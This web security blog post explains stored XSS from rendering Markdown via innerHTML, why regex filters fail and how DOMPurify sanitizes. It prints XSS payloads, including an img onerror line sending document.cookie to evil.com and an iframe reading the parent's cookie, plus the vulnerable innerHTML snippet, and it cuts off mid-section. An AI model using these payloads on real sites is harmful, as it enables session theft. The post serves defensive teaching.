Rendering User or AI-Generated Markdown Safely: Why Raw innerHTML Is Deadly and How AST Sanitization Works

Rendering User or AI-Generated Markdown Safely: Why Raw innerHTML Is Deadly and How AST Sanitization Works

The Fatal Temptation: Rendering Markdown with Raw innerHTML

In 2026, almost every modern web application features a rich text editor or an AI-powered conversational interface. Users author support tickets in Markdown, blog writers draft articles in headless CMS platforms, and Large Language Models stream responses formatted in lists, tables, and code fences.

To render this content, developers routinely install a popular parser like marked, markdown-it, or micromark, and execute the following line of JavaScript:

// THE DEADLY LINE OF CODE: Direct injection of parsed Markdown
const rawHtml = marked.parse(userSubmittedMarkdown);
containerElement.innerHTML = rawHtml; // CRITICAL VULNERABILITY!

To an unsuspecting developer, this looks clean. Markdown is just text, right?

Wrong.

According to the official CommonMark specification, raw HTML is valid Markdown. Markdown was explicitly designed to allow HTML tags so authors could add custom formatting when standard Markdown syntax fell short.

THE STORED XSS INJECTION EXECUTION CHAIN

  • Malicious User Submits Blog Comment or Support Ticket: “Great post! [Click here] (javascript:fetch(‘/api/keys’).then(…))
  • <img src=x onerror="fetch(’https://evil.com/steal?c='+document.cookie)\">”
  • Server Stores Raw Markdown in PostgreSQL Database
  • Admin Opens Dashboard: marked.parse() generates raw HTML
  • Admin Browser: element.innerHTML = rawHtml
  • Browser parses <img src=x onerror=...>
  • Image load fails immediately → Fires onerror JavaScript handler!
  • Administrator session cookies stolen! Database compromised!

If an attacker injects an image tag with a broken src and an onerror handler, or embeds an SVG with an inline script, the browser executes the attacker’s JavaScript under your domain’s origin. The attacker inherits all privileges of the viewing user—stealing authentication tokens, modifying account settings, or exfiltrating private customer data.

According to the OWASP Top 10, Cross-Site Scripting (XSS) remains one of the most prevalent and damaging vulnerabilities in modern web applications.

At our engineering studio, our high-performance websites and web applications implement strict AST-level sanitization to ensure untrusted inputs never compromise browser execution contexts.


Why Regex Sanitization Fails: The Quirks of Browser HTML Parsers

When junior engineers realize that raw HTML inside Markdown is dangerous, their immediate reaction is to write a regex replacement to filter out dangerous tags:

// THE BROKEN REGEX DEFENSE: Easily bypassed!
function naiveSanitize(html) {
  return html.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

This defense is completely useless. Modern XSS payloads do not require <script> tags at all. An attacker can bypass regex filters using hundreds of alternative HTML5 vectors:

<!-- Vector 1: Event handlers on innocent tags -->
<img src="invalid-image" onerror="alert(document.domain)">

<!-- Vector 2: SVG animation vectors -->
<svg><animate onbegin="alert(1)" attributeName="x" dur="1s">

<!-- Vector 3: JavaScript URIs in hyperlinks -->
<a href="javascript:alert(1)">Click to verify account</a>

<!-- Vector 4: Body and iframe events -->
<iframe srcdoc="<script>alert(parent.document.cookie)<\/script>"></iframe>

HTML parsers inside web browsers are exceptionally forgiving. They automatically correct missing quotes, handle unexpected spaces, decode nested HTML entities, and repair malformed tags. A regular expression cannot predict how the browser’s C++ rendering engine will reassemble broken markup.

The only safe way to sanitize HTML is to parse it into an Abstract Syntax Tree (AST), traverse the tree node by node against a strict allowlist, and discard any element or attribute that is not explicitly permitted.


The Industrial Gold Standard: DOMPurify

Until native browser APIs become universal across all legacy mobile engines, the undisputed global standard for HTML sanitization is DOMPurify, an open-source library maintained on GitHub.

DOMPURIFY AST TREE SANITIZATION PASS

  • Untrusted HTML String: <p>Hello</p><script>evil()</script><b onclick="steal()">Bold</b>
  • DOMPurify Parses into In-Memory DOM Document Fragment (DOMParser)
  • Recursive Allowlist Inspection:

    Node → Matches Allowed Tag → RETAINED

  • [+] [ INDEX_DIRECTORY ] 16 topics ▼
    [ SYSTEM.FAQ ]

    Frequently Asked Questions

    Why is converting Markdown directly to HTML via marked or markdown-it dangerous?

    The CommonMark and GitHub Flavored Markdown (GFM) specifications explicitly permit raw HTML tags embedded directly inside Markdown text. Markdown parsers (like `marked`) output this raw HTML verbatim. If you take user comments, CMS posts, or LLM output and inject it into the DOM via `element.innerHTML`, any embedded `

    > START_PROJECT

    Need a website that earns trust, ranks in search, and gives your business a stronger digital presence? Start the conversation here.